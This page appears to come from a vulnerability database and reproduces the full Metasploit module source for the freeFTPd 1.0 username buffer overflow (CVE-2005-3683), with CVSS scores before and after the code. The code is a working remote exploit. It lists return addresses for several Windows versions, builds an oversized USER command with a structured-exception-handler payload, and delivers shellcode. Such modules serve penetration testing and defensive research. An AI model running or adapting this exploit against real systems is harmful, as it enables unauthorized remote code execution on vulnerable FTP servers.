Lucene search

K
metasploitMC <[email protected]>MSF:EXPLOIT-WINDOWS-FTP-FREEFTPD_USER-
HistoryJan 16, 2006 - 2:59 a.m.

freeFTPd 1.0 Username Overflow

2006-01-1602:59:47
www.rapid7.com
14

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

This module exploits a stack buffer overflow in the freeFTPd multi-protocol file transfer service. This flaw can only be exploited when logging has been enabled (non-default).

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'freeFTPd 1.0 Username Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the freeFTPd
        multi-protocol file transfer service. This flaw can only be
        exploited when logging has been enabled (non-default).
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-3683'],
          [ 'OSVDB', '20909'],
          [ 'BID', '15457']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 800,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
        },
      'Platform'       => %w{ win },
      'Targets'        =>
        [
          [
            'Windows 2000 English ALL',
            {
              'Platform' => 'win',
              'Ret'      => 0x75022ac4,
            },
          ],
          [
            'Windows XP Pro SP0/SP1 English',
            {
              'Platform' => 'win',
              'Ret'      => 0x71aa32ad,
            },
          ],
          [
            'Windows NT SP5/SP6a English',
            {
              'Platform' => 'win',
              'Ret'      => 0x776a1799,
            },
          ],
          [
            'Windows 2003 Server English',
            {
              'Platform' => 'win',
              'Ret'      => 0x7ffc0638,
            },
          ],
        ],
      'DisclosureDate'  => '2005-11-16'
    ))
  end

  def check
    connect
    disconnect
    if (banner =~ /freeFTPd 1\.0/)
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    buf          = rand_text_english(1816, payload_badchars)
    seh          = generate_seh_payload(target.ret)
    buf[1008, seh.length] = seh

    send_cmd( ['USER', buf] , false)

    handler
    disconnect
  end
end

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

Related for MSF:EXPLOIT-WINDOWS-FTP-FREEFTPD_USER-